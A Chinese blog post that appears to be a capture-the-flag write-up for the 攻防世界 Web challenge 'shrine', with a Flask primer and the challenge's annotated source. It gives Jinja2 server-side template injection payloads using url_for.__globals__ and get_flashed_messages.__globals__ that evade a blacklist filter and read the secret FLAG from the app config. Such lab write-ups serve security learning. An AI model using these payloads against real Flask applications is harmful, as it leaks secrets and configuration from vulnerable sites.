【愚公系列】2023年05月 攻防世界-Web(shrine)
文章目录
- 前言
- 一、shrine
- 1.题目
- 2.答题
前言
Flask是一个轻量级的Web应用程序框架,用于Python编程语言。它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的。 Flask提供了一组工具和库,可以帮助开发人员构建Web应用程序,包括路由、HTTP请求处理、会话管理和数据存储等。它是一个开源框架,可以在许多领域使用,例如Web开发、物联网、机器学习和数据分析等。
Flask包括以下主要组件:
Werkzeug:一个WSGI工具库,提供了底层的服务端网关接口(WSGI)实现,用于接收和处理HTTP请求。
Jinja2:一个模板引擎,用于构建动态内容的HTML页面。
Routing:Flask提供了路由处理机制,使得开发人员能够将HTTP请求映射到特定的函数,从而处理相应的请求。
Flask插件:Flask提供了许多可扩展的插件,用于处理安全、表单验证、数据库连接、电子邮件等方面的任务,从而使得开发人员可以专注于应用程序的具体业务逻辑。
下面是Flask实现简单web服务源码
下面是一个简单的Flask实现的Web服务的源码示例:
from flask import Flaskapp = Flask(__name__)@app.route('/')
def home():return 'Hello, World!'if __name__ == '__main__':app.run(debug=True)
这个示例代码中,我们首先导入了Flask框架,并创建了一个应用程序实例app
。然后我们使用修饰器@app.route('/')
来定义一个路由,表示当访问根URL时会调用函数home()
。在home()
函数中,我们返回了一个简单的字符串“Hello, World!”。
最后,我们使用if __name__ == '__main__':
语句来指定当脚本被直接运行时,调用app.run()
方法来启动Web服务。debug=True
是一个可选参数,用于开启调试模式,以便在开发过程中更容易发现和调试错误。
一、shrine
1.题目
2.答题
import flask
import osapp = flask.Flask(__name__)
/*创建了flask包下的Flask类的对象,name是一个适用于多数情况的快捷方式。有了这个参数,Flask才知道在哪里可以找到模板和静态文件*/app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里@app.route('/')/* @app.route(url) 是Flask框架中的一个装饰器,他的作用是在程序运行时,装饰一个视图函数,用给定的url规则和选项注册他*/def index():return open(__file__).read() //相当于返回源码,也就是我们看到源码的页面@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>def safe_jinja(s):s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 空,再将 ( 替换为 空blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
//匹配黑名单,将匹配到的config和self换成空字符return flask.render_template_string(safe_jinja(shrine))
// 这句话就是调用了过滤函数对用户输入的网址进行过滤if __name__ == '__main__':app.run(debug=True) //如果这个python是主程序,则启动app
从整理好的代码中,我们得出 flag在config变量中,但config,self,(), 都被过滤了
假设没有过滤,可以尝试直接访问 config变量或者 {{self.dict}}来获取变量
如果有过滤,就需要尝试通过全局变量实现沙盒逃逸
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
得到flag:flag{shrine_is_good_ssti}
【愚公系列】2023年05月 攻防世界-Web(shrine)相关推荐
- 【愚公系列】2023年05月 攻防世界-Web(lottery)
文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...
- 【愚公系列】2023年05月 攻防世界-Web(unseping)
文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...
- 【愚公系列】2023年05月 攻防世界-Web(FlatScience)
文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...
- 【愚公系列】2023年05月 攻防世界-Web(file_include)
文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...
- 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)
文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...
- 【愚公系列】2023年05月 攻防世界-Web(fileclude)
文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一种常 ...
- 【愚公系列】2023年05月 攻防世界-Web(fileinclude)
文章目录 前言 1.文件包含漏洞 2.php伪协议 一.fileinclude 1.题目 2.答题 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion Vulnerability)是一 ...
- 【愚公系列】2023年05月 攻防世界-Web(Web_php_unserialize)
文章目录 前言 一.Web_php_unserialize 1.题目 2.答题 前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...
- 【愚公系列】2023年05月 攻防世界-Web(Confusion1)
文章目录 前言 一.Confusion1 1.题目 2.答题 前言 SSTI漏洞(Server Side Template Injection,服务端模板注入漏洞)是一种 web 应用程序中的安全漏洞 ...
最新文章
- mysql5.7与8.0用那个_MySQL 5.7 vs 8.0,哪个性能更牛?
- Cloudera Manager安装之利用parcels方式(在线或离线)安装3或4节点集群(包含最新稳定版本或指定版本的安装)(添加服务)(Ubuntu14.04)(五)...
- Docker Swarm集群config集中管理配置文件
- 伪造谷歌安全类的钓鱼邮件案例
- BigDecimal.setScale 处理java小数点
- FileBeats安装
- 面试准备——Java回顾:高级编程(多线程、常用类、集合、泛型、IO流、反射、动态代理、新特性)
- linux mint下安装vnc,VNC远程连接Linux mint桌面
- mac vscode配置c++ debug环境
- wind7计算机控制面板在哪,联想win7系统控制面板在哪里打开
- [UOJ#405/LOJ#2863][IOI2018]组合动作(交互)
- java constants_Java Constants类代码示例
- 一个有用的webstrom激活方法
- oracle的switch+case语句吗,2.7 switch 语句中的 case 范围
- 演员改行做程序员?一男一女,这两个人你绝对想不到
- C++ 开源库,很完整介绍【转】
- php mpdf导航栏信息,php – 我想使用mpdf在pdf中设置页眉和页脚
- latex表格内容上下居中_表格内容垂直居中
- Matlab公网通信的实现(NAT123实现内网穿透)
- 《安全屋》第一季华丽登场,一桩划算的数据“买卖”
热门文章
- 双系统装完只能u盘启动_韩博士教你怎么安装Windows双系统
- Golang题 一揽子方案
- 系统清理软件MacBooster 7破解版
- java成绩管理系统毕业论文_java web学生成绩管理系统,可作为java毕业论文
- 华为OD机试之打印机队列(Java源码)
- c# SerialPort 串口通讯 十六进制接收发送 转换
- 周志明:深入java虚拟机_虚拟面板:在低延迟环境中使用Java
- 远程桌面、云办公与云游戏的多种解决方案(由简入深)
- 民间秘方,里面的方子都是一个老中医几十年的心血~~很强~~身体不好一定要看
- weblogic控制台相关操作